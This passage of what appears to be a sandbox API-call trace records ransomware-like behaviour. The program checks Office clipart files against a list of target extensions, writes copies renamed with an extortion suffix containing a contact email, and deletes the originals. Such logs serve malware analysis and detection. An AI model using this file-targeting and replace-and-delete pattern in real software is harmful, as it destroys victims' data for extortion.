returned 4 [0093.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0093.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0093.937] lstrlenW (lpString=".doc") returned 4 [0093.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.937] lstrlenW (lpString=".docx") returned 5 [0093.937] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0093.937] lstrlenW (lpString=".pdf") returned 4 [0093.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.937] lstrlenW (lpString=".xls") returned 4 [0093.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.937] lstrlenW (lpString=".xlsx") returned 5 [0093.937] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0093.937] lstrlenW (lpString=".ppt") returned 4 [0093.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0093.937] lstrlenW (lpString=".zip") returned 4 [0093.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.937] lstrlenW (lpString=".rar") returned 4 [0093.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.937] lstrlenW (lpString=".bz2") returned 4 [0093.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.937] lstrlenW (lpString=".7z") returned 3 [0093.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0093.938] lstrlenW (lpString=".dbf") returned 4 [0093.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0093.938] lstrlenW (lpString=".1cd") returned 4 [0093.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0093.938] lstrlenW (lpString=".jpg") returned 4 [0093.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.938] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.938] lstrlenW (lpString="J0105332.WMF") returned 12 [0093.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.939] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=10508) returned 1 [0093.939] CloseHandle (hObject=0x330) returned 1 [0093.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 0x220 [0093.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.939] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.939] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0093.940] GetLastError () returned 0x0 [0093.940] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x290c, lpOverlapped=0x0) returned 1 [0093.941] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x2910, lpOverlapped=0x0) returned 1 [0093.942] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0093.942] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0093.942] SetEndOfFile (hFile=0x39c) returned 1 [0093.943] CloseHandle (hObject=0x39c) returned 1 [0093.943] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.943] SetEndOfFile (hFile=0x330) returned 1 [0093.944] CloseHandle (hObject=0x330) returned 1 [0093.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 1 [0093.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0093.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0093.944] lstrlenW (lpString=".doc") returned 4 [0093.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.944] lstrlenW (lpString=".docx") returned 5 [0093.944] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.944] lstrlenW (lpString=".pdf") returned 4 [0093.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.944] lstrlenW (lpString=".xls") returned 4 [0093.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.944] lstrlenW (lpString=".xlsx") returned 5 [0093.944] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.944] lstrlenW (lpString=".ppt") returned 4 [0093.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0093.944] lstrlenW (lpString=".zip") returned 4 [0093.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.945] lstrlenW (lpString=".rar") returned 4 [0093.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.945] lstrlenW (lpString=".bz2") returned 4 [0093.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.945] lstrlenW (lpString=".7z") returned 3 [0093.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0093.945] lstrlenW (lpString=".dbf") returned 4 [0093.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0093.945] lstrlenW (lpString=".1cd") returned 4 [0093.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0093.945] lstrlenW (lpString=".jpg") returned 4 [0093.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0093.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0093.945] lstrlenW (lpString=".doc") returned 4 [0093.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.945] lstrlenW (lpString=".docx") returned 5 [0093.945] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0093.945] lstrlenW (lpString=".pdf") returned 4 [0093.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.945] lstrlenW (lpString=".xls") returned 4 [0093.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.945] lstrlenW (lpString=".xlsx") returned 5 [0093.945] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0093.945] lstrlenW (lpString=".ppt") returned 4 [0093.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0093.945] lstrlenW (lpString=".zip") returned 4 [0093.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.945] lstrlenW (lpString=".rar") returned 4 [0093.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.945] lstrlenW (lpString=".bz2") returned 4 [0093.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.946] lstrlenW (lpString=".7z") returned 3 [0093.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0093.946] lstrlenW (lpString=".dbf") returned 4 [0093.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0093.946] lstrlenW (lpString=".1cd") returned 4 [0093.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0093.946] lstrlenW (lpString=".jpg") returned 4 [0093.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.946] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.946] lstrlenW (lpString="J0105336.WMF") returned 12 [0093.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.946] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2900) returned 1 [0093.946] CloseHandle (hObject=0x330) returned 1 [0093.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 0x220 [0093.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.947] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.947] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0093.947] GetLastError () returned 0x0 [0093.947] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xb54, lpOverlapped=0x0) returned 1 [0093.948] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xb60, lpOverlapped=0x0) returned 1 [0093.949] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0093.949] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0093.950] SetEndOfFile (hFile=0x39c) returned 1 [0093.950] CloseHandle (hObject=0x39c) returned 1 [0093.950] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.950] SetEndOfFile (hFile=0x330) returned 1 [0093.951] CloseHandle (hObject=0x330) returned 1 [0093.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 1 [0093.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0093.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0093.951] lstrlenW (lpString=".doc") returned 4 [0093.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.951] lstrlenW (lpString=".docx") returned 5 [0093.951] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0093.951] lstrlenW (lpString=".pdf") returned 4 [0093.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.951] lstrlenW (lpString=".xls") returned 4 [0093.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.951] lstrlenW (lpString=".xlsx") returned 5 [0093.951] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0093.951] lstrlenW (lpString=".ppt") returned 4 [0093.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0093.952] lstrlenW (lpString=".zip") returned 4 [0093.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.952] lstrlenW (lpString=".rar") returned 4 [0093.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.952] lstrlenW (lpString=".bz2") returned 4 [0093.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.952] lstrlenW (lpString=".7z") returned 3 [0093.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0093.952] lstrlenW (lpString=".dbf") returned 4 [0093.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0093.952] lstrlenW (lpString=".1cd") returned 4 [0093.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0093.952] lstrlenW (lpString=".jpg") returned 4 [0093.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0093.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0093.952] lstrlenW (lpString=".doc") returned 4 [0093.952] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.952] lstrlenW (lpString=".docx") returned 5 [0093.952] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0093.952] lstrlenW (lpString=".pdf") returned 4 [0093.952] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.952] lstrlenW (lpString=".xls") returned 4 [0093.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.953] lstrlenW (lpString=".xlsx") returned 5 [0093.953] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0093.953] lstrlenW (lpString=".ppt") returned 4 [0093.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0093.953] lstrlenW (lpString=".zip") returned 4 [0093.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.953] lstrlenW (lpString=".rar") returned 4 [0093.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.953] lstrlenW (lpString=".bz2") returned 4 [0093.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.953] lstrlenW (lpString=".7z") returned 3 [0093.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0093.953] lstrlenW (lpString=".dbf") returned 4 [0093.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0093.953] lstrlenW (lpString=".1cd") returned 4 [0093.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0093.953] lstrlenW (lpString=".jpg") returned 4 [0093.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.953] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.953] lstrlenW (lpString="J0105338.WMF") returned 12 [0093.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.954] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=11584) returned 1 [0093.954] CloseHandle (hObject=0x330) returned 1 [0093.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 0x220 [0093.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0093.954] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.954] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0093.955] GetLastError () returned 0x0 [0093.955] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x2d40, lpOverlapped=0x0) returned 1 [0093.956] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0093.957] ReadFile (in: hFile=0x330, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0093.957] WriteFile (in: hFile=0x39c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0093.957] SetEndOfFile (hFile=0x39c) returned 1 [0093.957] CloseHandle (hObject=0x39c) returned 1 [0093.957] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.957] SetEndOfFile (hFile=0x330) returned 1 [0093.958] CloseHandle (hObject=0x330) returned 1 [0093.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 1 [0093.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0093.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0093.959] lstrlenW (lpString=".doc") returned 4 [0093.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.959] lstrlenW (lpString=".docx") returned 5 [0093.959] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0093.959] lstrlenW (lpString=".pdf") returned 4 [0093.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.959] lstrlenW (lpString=".xls") returned 4 [0093.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.959] lstrlenW (lpString=".xlsx") returned 5 [0093.959] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0093.959] lstrlenW (lpString=".ppt") returned 4 [0093.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0093.959] lstrlenW (lpString=".zip") returned 4 [0093.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.959] lstrlenW (lpString=".rar") returned 4 [0093.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.959] lstrlenW (lpString=".bz2") returned 4 [0093.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.959] lstrlenW (lpString=".7z") returned 3 [0093.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0093.959] lstrlenW (lpString=".dbf") returned 4 [0093.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0093.959] lstrlenW (lpString=".1cd") returned 4 [0093.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0093.960] lstrlenW (lpString=".jpg") returned 4 [0093.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0093.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0093.960] lstrlenW (lpString=".doc") returned 4 [0093.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.960] 